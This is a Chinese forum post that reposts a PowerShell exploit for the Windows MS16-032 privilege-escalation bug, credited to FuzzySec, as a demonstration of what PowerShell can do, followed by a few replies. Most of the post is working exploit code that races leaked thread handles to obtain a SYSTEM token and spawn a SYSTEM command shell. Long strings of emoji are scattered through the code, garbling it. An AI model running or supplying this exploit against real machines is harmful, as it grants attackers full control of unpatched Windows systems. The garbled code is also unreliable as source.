一个基于Powershell的提权代码 |
本帖最后由 soarcloud 于 2016-8-13 09:44 编辑
之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346: 👁⛄🍭🆒🦌function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable 👃🧳🌶💲🐢 operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: 👩✈️🪖🪗😘👍 * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: 👌🎢🍟♊🐋 * In order for the race condition to succeed the machine must have 2+ CPUcores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032 ==> 👆⛪🍧™🦠 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause ✊🔥🦞❌🐅 Required Dependencies: PowerShell v2+ Optional Dependencies: None E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 .EXAMPLE👦💄🩸😔✋ C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics;👦🧦⚒🤡✋ using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION 🥷👞🦯🤡💪 { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; 👂🚂🍏🅱🐻 } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { 👄🌕🦀♾🐠 public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; ✌🛑🔪ℹ🐺 public Int32 dwY;public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; 🔥🍊☯🐝 public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; 🦷🥛🚷🐖 public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } 🧑🌾🕶🛋😤 [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; ✋🧳🍭☯🦬 public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 👍🌕🥛🈴🦟 {[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain,🧑⚕️🥾📥😪👁 String password, int logonFlags, String applicationName, String commandLine, int creationFlags, 👏🦼🥛🔞🐻 int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); 👁🏦🍇⚛🦬 [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); 👨🚒👒🖨😉🤌 [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, 🤛🗼🍍🆚🐶 out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, 👎🗼🐯 int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken(👴🧣🖌😈✌ IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } 👆🚘🍞🚷🦋 public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); 🤳🚘🥛™🐥 [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread(); 👀⛴🍏♑🐉 [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] 🪖🧻😭👍 public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); 👨🦱👠🪗😰💅 [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( 👵👒🔒🥲👍 IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject);🧑🌾🧦📥😇🤝 [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, 👈🏝🍊🆒🦮 IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); 🧑🚀🧢💶😭✋ } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] 🖕🚂🎂❌🐢 public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } 🙏🌕🦞🅰🐙 "@function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO🧑🎤💍🗝😈 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size🧑🎤🧢💉🤤🤙 # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory 🙏🗺🌶™🐟 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 🤌🦼🍖🅾🐻 0x00000002, "C:\Windows\System32\cmd.exe", "",0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS 👍🍪🚭🪶 $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false, 👊🚗🥛🈳🦜 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) 🦴🌕🍼⚛🐠 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } 👦🎩🧬🤐🤞 function Get-SystemToken { echo "`n[?] Trying thread handle: $Thread" echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($Thread) 👎🗺🥑➡🪶 if ($CallResult -ne 0) { echo "[!] $Thread is a bad thread, moving on.." Return } echo "[+] Thread suspended" 🤌🎢🍓↔🦚 echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread)🧓🥾🗑💩👀 echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token" 🦴💈🌶🈳🦊 # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft ;) 👆🔥🔪🚭🦠 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" 🧑⚕️🥾🪝😡👍 Return } $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE 👌🚤🥭⚛🦊 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" 👳👔🧹😘👁 Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.." 🧑⚕️🎩💳😇👆 $CallResult = [Kernel32]::ResumeThread($Thread) } # main() <--- ;) $ms16032 = @" 👍🌡🥭☯🦮 __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| 🙏🌞🎂®🦖 [by b33f -> @FuzzySec] "@ $ms16032 👈🌦🦞🈴🐟 # Check logical processor count, race condition requires 2+echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return 🖐🗼🍼❌🪰 }# Create array for Threads & TID's $ThreadArray = @() $TidArray = @() 👀🗺🥩☣🦕 echo "[>] Duplicating CreateProcessWithLogonW handles.." # Loop Get-ThreadHandle and collect thread handles with a valid TID for ($i=0; $i -lt 500; $i++) { $hThread = Get-ThreadHandle🧑🍳🥾💉😰👆 $hThreadID = [Kernel32]::GetThreadId($hThread) # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray if ($TidArray -notcontains $hThreadID) { $TidArray += $hThreadID if ($hThread -ne 0) { 👄🌧🫑⚛🦖 $ThreadArray += $hThread # This is what we need! } } } 🧑💻🥾🖌🙂🤌 if ($($ThreadArray.length) -eq 0) { echo "[!] No valid thread handles were captured, exiting!" Return } else { echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" 👍⛴🧊♊🦮 echo "`n[?] Thread handle list:"$ThreadArray } echo "`n Sniffing out privileged impersonation token.."🧓🥼🗡😚👍 foreach ($Thread in $ThreadArray){ # Get handle to SYSTEM access token Get-SystemToken 👨🦱👠🪜🥰👍 echo "`n Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) 👩🎩🩸😍👊 # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace 🙏🌡🍚📵🦊 $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($Thread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) ✍🌡🥛♾🦖 } }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race" 👌🚂🦞☯🐅 # Adding a timeout (10 seconds) here to safeguard from edge-cases$SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO 🤙🪐🥩❌🦜 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION 🧠🏠🦞🚷🐡 # CreateProcessWithLogonW --> lpCurrentDirectory$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW(👵🧢⌨🤖🖕 "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) 🧑🎤👔🧻🙄✊ $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" 🤛🗽🍏®🐺 $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return } 👍⛪🍽➡🐒 # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) 🤳🌞🍪🅱🐒 }# Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop() ✌🛑🐅 } } 看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。 🙏⛪🍚🉑
帖子热度 1.3万 ℃
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然而到现在我都不想去了解这个powershell
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畅游在词汇的海洋里 也难以找到恰如其分的感激之语 来表达感激之情,你是论坛的一盏明灯 期市里的一棵夜明珠 永放异彩你的帖子一定会让许多的有识之士获益匪浅 .让我们一起祝愿楼主文成武德仁义英明泽被苍生 一统江湖 天长地久 日月同辉!
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